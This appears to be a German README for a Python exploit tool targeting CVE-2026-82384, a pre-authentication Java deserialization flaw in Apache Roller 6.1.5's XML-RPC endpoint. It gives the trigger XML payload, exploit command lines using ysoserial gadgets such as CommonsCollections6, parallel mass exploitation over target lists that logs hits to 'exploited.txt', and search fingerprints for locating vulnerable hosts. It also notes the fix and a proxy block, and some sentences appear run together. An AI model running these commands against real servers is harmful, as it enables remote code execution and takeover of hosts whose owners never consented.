
Python-PoC für CVE-2026-82384: erkennt und nutzt unauthentifizierte XML-RPC-Java-Deserialisierung in Apache Roller 6.1.5 über ysoserial-Payloads aus, mit Massen-Scanning.
Python-3-PoC für CVE-2026-82384 — nicht authentifizierte Java-Deserialisierung im veralteten XML-RPC-Servlet von Apache Roller 6.1.5.
PoC-Seite: https://pocbit.org/pocs/cve-2026-82384
Apache Roller ist ein Java-basierter Blog-Server für mehrere Benutzer (historisch „Roller Weblogger“). Bereitstellungen sind üblicherweise Tomcat-WARs mit einer UI unter /roller-ui/ und veralteten Blogger-/MetaWeblog-APIs über XML-RPC unter /roller-services/xmlrpc. Roller 6.1.5 (Sep. 2025) behob ein unabhängiges Session-Problem (CVE-2025-24859), ließ aber den XML-RPC-Stack in einer für diese CVE gefährlichen Konfiguration zurück.
CVE-2026-82384 ist eine Deserialisierung nicht vertrauenswürdiger Daten (CWE-502) am XML-RPC-Endpunkt:
XmlRpcServlet ist mit enabledForExtensions=true konfiguriert, sodass die Apache-ws-xmlrpc-Bibliothek herstellerdefinierte Erweiterungstypen akzeptiert, einschließlich ex:serializable — ein base64-kodiertes serialisiertes Java-Objekt.web.xml vorhanden, sodass der Parser auch dann ausgeführt wird, wenn Administratoren XML-RPC in den Roller-Einstellungen deaktivieren (webservices.enableXmlRpc=false). Das Deaktivieren der Funktion in der UI schließt diesen Pre-Auth-Pfad auf 6.1.5 nicht.Betroffen: nur Apache Roller 6.1.5 (gemäß Herstellerhinweis).
Behoben: Apache Roller 6.1.6+ (PR #171): enabledForExtensions=false, und Anfragen werden abgelehnt, wenn XML-RPC global deaktiviert ist.
| Metrik | Wert |
|---|---|
| CVSS 3.1 | 9.8 Kritisch — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentifizierung | Keine für das Deserialisierungs-Primitiv |
| Entdecker | n0mi1k |
| Hersteller | Apache Software Foundation |
| Element | Detail |
|---|---|
| Endpunkt | POST /roller-services/xmlrpc (auch /roller/roller-services/xmlrpc versuchen) |
| Content-Type | text/xml |
| Auslöser | <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable> innerhalb eines methodCall |
| Gadget-Chain | Abhängig vom Classpath (Commons Collections usw.); oft mit ysoserial erzeugt |
| Auswirkung | RCE als der Tomcat/Roller-Betriebssystembenutzer; typischerweise vollständige Kontrolle über Blog-Daten und Pivot auf den Host |
| Modus | Verhalten |
|---|---|
check | Findet Roller-Fingerabdrücke, lokalisiert die XML-RPC-URL, optional --probe-deser (sendet ex:serializable-Probe-Bytes) |
exploit | Sendet Ihre serialisierte Payload (Datei, Base64 oder ysoserial über --ysoserial-jar) |
| Mass | --list targets.txt --mode exploit -j N — parallele Massenverarbeitung mit JSONL + exploited.txt |
PoCbit-Felder: pocbit, pocbit_catalog, pocbit_page in jeder JSONL-Zeile.
CLI: farbiges Banner, [HIT]- / [EXPLOIT]- / [FAIL]-Zeilen (deaktivierbar mit --no-color).
Dieses Repository liefert keine funktionsfähigen RCE-Gadget-Chains (classpath-abhängig). Für echte Ausnutzung stellen Sie ysoserial-Ausgaben oder eine verifizierte Payload-Datei bereit.
pip install -r requirements.txt
Für RCE (nicht nur Erkennung):
URLDNS (Out-of-Band-Nachweis), CommonsCollections6 (Befehlsausführung auf typischem Roller-Classpath — zuerst im Labor verifizieren)python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12
# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd pocbit.your-oast.domain
# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64
# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin
python poc.py --list targets.txt --mode exploit \
--ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
--ysoserial-cmd oast.example.com -j 10
Ausgaben:
cve_2026_82384_exploit.jsonl — JSON pro Zielexploited.txt — Ziele, bei denen die Payload akzeptiert / OOB gesendet wurde<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value>
<ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
BASE64_JAVA_SERIALIZED_OBJECT
</ex:serializable>
</value>
</param>
</params>
</methodCall>
Auf 6.1.5 kann das Parsen dieses Bodys deserialisieren, bevor ein Methoden-Handler Anmeldedaten durchsetzt.
/roller-services/xmlrpc am Reverse Proxy / WAF blockieren (nur Admin-IPs per Allowlist zulassen).Apache Roller, /roller-ui/, Blog-Hosts auf Port 8080/8443 suchen.body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"
Bestätigen Sie Version 6.1.5 anhand der Fußzeile, der About-Seite oder der WEB-INF / Release Notes, bevor Sie sie als ausnutzbar behandeln.
Nur auf Systemen verwenden, für deren Test Sie autorisiert sind. Deserialisierungs-Exploits können Daten zerstören und bei Missbrauch gegen Gesetze verstoßen.